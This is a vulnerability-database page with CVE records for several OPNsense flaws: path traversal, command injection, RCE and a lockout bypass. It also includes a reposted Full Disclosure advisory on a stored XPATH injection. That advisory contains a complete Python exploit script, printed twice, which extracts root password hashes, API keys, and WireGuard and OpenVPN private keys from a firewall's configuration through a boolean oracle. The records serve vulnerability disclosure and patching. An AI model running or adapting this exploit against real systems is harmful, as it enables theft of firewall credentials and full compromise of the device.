"version": "\u003c 26.4_20"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core, a path traversal vulnerability in the NTP configuration module allows an attacker to overwrite arbitrary files on the system as the root user. By manipulating the GPS or PPS serial port parameter, an attacker with access to the NTP configuration can escape the intended directory and force the system to write user-controlled data to any file on the filesystem. Version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core patch the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T23:02:07.003Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-872g-g543-j37m",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-872g-g543-j37m"
}
],
"source": {
"advisory": "GHSA-872g-g543-j37m",
"discovery": "UNKNOWN"
},
"title": "ntp: write path traversal"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-53581",
"datePublished": "2026-09-08T23:02:07.003Z",
"dateReserved": "2026-06-09T19:11:53.484Z",
"dateUpdated": "2026-09-09T13:37:23.831Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-45158 (GCVE-0-2026-45158)
Vulnerability from cvelistv5 – Published: 2026-05-13 21:54 – Updated: 2026-05-14 12:22
VLAI
EPSS
VEX
Title
OPNsense: Command Injection via Attacker-Controlled DHCP Config
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-14 12:22 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-45158",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-14T12:22:02.967181Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-14T12:22:09.189Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.8"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-88",
"description": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T21:54:31.679Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-5rx3-w735-74wm",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-5rx3-w735-74wm"
}
],
"source": {
"advisory": "GHSA-5rx3-w735-74wm",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Command Injection via Attacker-Controlled DHCP Config"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-45158",
"datePublished": "2026-05-13T21:54:31.679Z",
"dateReserved": "2026-05-08T20:44:38.964Z",
"dateUpdated": "2026-05-14T12:22:09.189Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44194 (GCVE-0-2026-44194)
Vulnerability from cvelistv5 – Published: 2026-05-13 21:53 – Updated: 2026-05-19 03:55
VLAI
EPSS
VEX
Title
OPNsense: RCE on user managment
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.
Severity
9.1 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-15 00:00 UTC
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44194",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-15T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-19T03:55:23.384Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.8"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T21:53:27.948Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6"
}
],
"source": {
"advisory": "GHSA-f59w-m967-9rf6",
"discovery": "UNKNOWN"
},
"title": "OPNsense: RCE on user managment"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44194",
"datePublished": "2026-05-13T21:53:27.948Z",
"dateReserved": "2026-05-05T15:13:47.570Z",
"dateUpdated": "2026-05-19T03:55:23.384Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44195 (GCVE-0-2026-44195)
Vulnerability from cvelistv5 – Published: 2026-05-13 21:52 – Updated: 2026-05-14 13:46
VLAI
EPSS
VEX
Title
OPNsense: Authentication lockout bypass
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, a logic flaw in the OPNsense lockout_handler allows an unauthenticated attacker to continuously reset the authentication failure counter for their IP address. By interjecting a crafted username containing a success keyword ("Accepted" or "Successful login") between normal brute-force attempts, an attacker can prevent the failure counter from ever reaching the lockout threshold. This vulnerability is fixed in 26.1.7.
Severity
5.3 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-14 13:46 UTC
CWE
- CWE-307 - Improper Restriction of Excessive Authentication Attempts
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://gist.github.com/sopex/b9786e72e2a5d9b1bbd… | exploit |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44195",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-14T13:46:23.604362Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-14T13:46:30.721Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://gist.github.com/sopex/b9786e72e2a5d9b1bbd81ed8477c351b"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, a logic flaw in the OPNsense lockout_handler allows an unauthenticated attacker to continuously reset the authentication failure counter for their IP address. By interjecting a crafted username containing a success keyword (\"Accepted\" or \"Successful login\") between normal brute-force attempts, an attacker can prevent the failure counter from ever reaching the lockout threshold. This vulnerability is fixed in 26.1.7."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-307",
"description": "CWE-307: Improper Restriction of Excessive Authentication Attempts",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T21:52:42.373Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-h3vx-4q27-rc42",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-h3vx-4q27-rc42"
}
],
"source": {
"advisory": "GHSA-h3vx-4q27-rc42",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Authentication lockout bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44195",
"datePublished": "2026-05-13T21:52:42.373Z",
"dateReserved": "2026-05-05T15:13:47.570Z",
"dateUpdated": "2026-05-14T13:46:30.721Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0022
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:35
VLAI
EPSS
VEX
Title
OPNsense XPATH Injection (CVE-2026-53582)
Summary
SUMMARY: a stored XPATH injection allows any user with just ca
manager/certificate manager perms to leak any secret key/any value in
config.xml, thus achieving privilege escalation and potentially remote
code execution. this can also likely be chained via csrf and some
clever hiding. see
https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
== VULN ==
the primary vulnerable sink is here:
$refcount = count(Config::getInstance()->object()->xpath("//*[text() =
'{$node->refid}']")) - 1;
as we control node->refid, which can be seen in here:
protected function setBaseHook($node)
{
if (empty((string)$node->refid)) {
$node->refid = uniqid();
}
$error = false;
if (!empty((string)$node->prv_payload)) {
/** private key manually offered */
$node->prv = base64_encode((string)$node->prv_payload);
}
we know that if refid is empty it'll be a uniqid - which means its
meant to be alphanumeric. notably, there are no preg_match/regex
matches that check whether or not a user supplied refid isnt
alphanumeric. in this case, we can now test this by hitting this
endpoint:
POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded
ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf
() example com
to truly exploit this we can write a script that turns the xpath
injection we have into a decent boolean oracle, then slowly leak each
character. for example, an openvpn private key or a root password
hash.
== xp ==
import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3
urllib3.disable_warnings()
# yeah idk dude iiwiw lol
targs = {
"wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
"wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
"hasyncpw": "//hasync/password",
"roothash": "//system/user/password",
"rootkey": "//system/user/apikeys/item/key",
"rootsecret": "//system/user/apikeys/item/secret",
"openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}
cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))
makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"
total = 0
lock = threading.Lock()
# mega ass
def sesh(a):
s = requests.Session()
s.auth = a
s.verify = False
return s
def prober(s, base, n):
canary = makecanary()
r = s.post(f"{base}/api/trust/ca/add", data={
"ca[refid]": canary, "ca[descr]": f"p{n}",
"ca[action]": "internal", "ca[commonname]": f"p{n}",
}, timeout=30)
return r.json().get("uuid", "n/a"), canary
def inj(s, base, ca_uuid, nx, condition):
global total
payload = f"{nx}' or ({condition}) or 'x'='"
s.post(
f"{base}/api/trust/ca/set/{ca_uuid}",
data={"ca[refid]": payload},
timeout=30,
)
r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
with lock:
total += 1
ca = r.json().get("ca", {})
# refcount = int(ca["refcount"])
refcount = int(ca.get("refcount", "0"))
return refcount > 0
def getlen(s, base, ca, nx, xpath):
lo, hi = 0, 300
while lo < hi:
mid = (lo + hi + 1) // 2
if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
lo = mid
else:
hi = mid - 1
return lo
def binsrch(s, base, ca, nx, xpath, pos):
cands = cset[:]
while len(cands) > 1:
midpoint = len(cands) // 2
half = "".join(cands[:midpoint])
cond = f"contains('{half}', substring({xpath},{pos},1))"
if inj(s, base, ca, nx, cond):
cands = cands[:midpoint]
else:
cands = cands[midpoint:]
c = cands[0]
if c == "'":
lit = f'"{c}"'
else:
lit = f"'{c}'"
cond = f"substring({xpath},{pos},1)={lit}"
if inj(s, base, ca, nx, cond):
return c
return None
def extract(workers, base, xpath):
s0, ca0, nx0 = workers[0]
length = getlen(s0, base, ca0, nx0, xpath)
if length == 0:
return ""
print(f"+ maybe {length} len")
result = ["?"] * length
wq = Queue()
for w in workers:
wq.put(w)
# start grabbing
def do(pos):
s, ca, nx = wq.get()
try:
return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
finally:
wq.put((s, ca, nx))
with ThreadPoolExecutor(max_workers=len(workers)) as pool:
# for pos, ch in pool.map(doer_func(p), range(length)):
for pos, ch in pool.map(lambda p: do(p), range(length)):
if ch:
result[pos] = ch
sys.stdout.write(ch or "#")
sys.stdout.flush()
print()
return "".join(result)
def main():
global total
print("xray")
target_names = list(targs.keys())
target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
# i gave it a bs name
parser = argparse.ArgumentParser(
description="x-ray",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="extractables:\n" + target_list,
)
parser.add_argument("targ", help="base url")
parser.add_argument("api_key", help="you need this")
parser.add_argument("api_secret", help="this too")
parser.add_argument("target", nargs="?", default="all",
choices=target_names + ["all"], help="target to extract")
parser.add_argument("-w", "--workers", type=int, default=8,
help="how many workers in parallel")
args = parser.parse_args()
base = args.targ.rstrip("/")
auth = (args.api_key, args.api_secret)
s = sesh(auth)
r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
print("- bro")
sys.exit(1)
print("+ oh sweet we can access the ca api")
workers = []
for i in range(args.workers):
ws = sesh(auth)
uuid, nx = prober(ws, base, i)
if not uuid:
print("creating probe failed (prober)")
sys.exit(1)
workers.append((ws, uuid, nx))
print(f"+ {args.workers} probing\n")
# extract
if args.target == "all":
targets = targs
else:
targets = {args.target: targs[args.target]}
for name, xpath in targets.items():
print(f"+ {name}")
s0, ca0, nx0 = workers[0]
if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
print("n/a")
continue
val = extract(workers, base, xpath)
print(f"{repr(val)} ({total} reqs)\n")
# finally: # nvm
# cleanup but not really beacuse im lazy
for ws, ca, nx in workers:
ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
print(f"+ done {total}")
if __name__ == "__main__":
main()
== PATCH/MITIG ==
update to 26.1.10. alternatively, add a preg_match guard and an input
mask to Ca.xml by hand (if youre about that life)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jul/18 | technical-description |
| https://github.com/opnsense/core/security/advisor… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Opnsense | XPATH Injection |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "XPATH Injection",
"vendor": "Opnsense",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan"
}
],
"descriptions": [
{
"lang": "en",
"value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n {\n if (empty((string)$node-\u003erefid)) {\n $node-\u003erefid = uniqid();\n }\n $error = false;\n if (!empty((string)$node-\u003eprv_payload)) {\n /** private key manually offered */\n $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n \"hasyncpw\": \"//hasync/password\",\n \"roothash\": \"//system/user/password\",\n \"rootkey\": \"//system/user/apikeys/item/key\",\n \"rootsecret\": \"//system/user/apikeys/item/secret\",\n \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n s = requests.Session()\n s.auth = a\n s.verify = False\n return s\n\n\ndef prober(s, base, n):\n canary = makecanary()\n r = s.post(f\"{base}/api/trust/ca/add\", data={\n \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n }, timeout=30)\n return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n global total\n payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n s.post(\n f\"{base}/api/trust/ca/set/{ca_uuid}\",\n data={\"ca[refid]\": payload},\n timeout=30,\n )\n r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n with lock:\n total += 1\n ca = r.json().get(\"ca\", {})\n # refcount = int(ca[\"refcount\"])\n refcount = int(ca.get(\"refcount\", \"0\"))\n return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n lo, hi = 0, 300\n while lo \u003c hi:\n mid = (lo + hi + 1) // 2\n if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n lo = mid\n else:\n hi = mid - 1\n return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n cands = cset[:]\n while len(cands) \u003e 1:\n midpoint = len(cands) // 2\n half = \"\".join(cands[:midpoint])\n cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n if inj(s, base, ca, nx, cond):\n cands = cands[:midpoint]\n else:\n cands = cands[midpoint:]\n\n c = cands[0]\n if c == \"\u0027\":\n lit = f\u0027\"{c}\"\u0027\n else:\n lit = f\"\u0027{c}\u0027\"\n\n cond = f\"substring({xpath},{pos},1)={lit}\"\n if inj(s, base, ca, nx, cond):\n return c\n return None\n\n\ndef extract(workers, base, xpath):\n s0, ca0, nx0 = workers[0]\n length = getlen(s0, base, ca0, nx0, xpath)\n if length == 0:\n return \"\"\n print(f\"+ maybe {length} len\")\n\n result = [\"?\"] * length\n\n wq = Queue()\n for w in workers:\n wq.put(w)\n # start grabbing\n def do(pos):\n s, ca, nx = wq.get()\n try:\n return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n finally:\n wq.put((s, ca, nx))\n\n with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n # for pos, ch in pool.map(doer_func(p), range(length)):\n for pos, ch in pool.map(lambda p: do(p), range(length)):\n if ch:\n result[pos] = ch\n sys.stdout.write(ch or \"#\")\n sys.stdout.flush()\n\n print()\n return \"\".join(result)\n\n\ndef main():\n global total\n print(\"xray\")\n target_names = list(targs.keys())\n target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n # i gave it a bs name\n parser = argparse.ArgumentParser(\n description=\"x-ray\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\"extractables:\\n\" + target_list,\n )\n parser.add_argument(\"targ\", help=\"base url\")\n parser.add_argument(\"api_key\", help=\"you need this\")\n parser.add_argument(\"api_secret\", help=\"this too\")\n parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n args = parser.parse_args()\n\n base = args.targ.rstrip(\"/\")\n auth = (args.api_key, args.api_secret)\n\n\n s = sesh(auth)\n r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n if r.status_code != 200:\n print(\"- bro\")\n sys.exit(1)\n print(\"+ oh sweet we can access the ca api\")\n\n\n workers = []\n\n for i in range(args.workers):\n ws = sesh(auth)\n uuid, nx = prober(ws, base, i)\n if not uuid:\n print(\"creating probe failed (prober)\")\n sys.exit(1)\n workers.append((ws, uuid, nx))\n print(f\"+ {args.workers} probing\\n\")\n\n # extract\n if args.target == \"all\":\n targets = targs\n else:\n targets = {args.target: targs[args.target]}\n for name, xpath in targets.items():\n print(f\"+ {name}\")\n s0, ca0, nx0 = workers[0]\n if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n print(\"n/a\")\n continue\n val = extract(workers, base, xpath)\n print(f\"{repr(val)} ({total} reqs)\\n\")\n # finally: # nvm\n # cleanup but not really beacuse im lazy\n for ws, ca, nx in workers:\n ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:35:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/18"
},
{
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/18"
],
"discovery": "EXTERNAL"
},
"title": "OPNsense XPATH Injection (CVE-2026-53582)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0022",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
"automated": true,
"contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-03T10:56:32Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-11T11:35:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0022"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}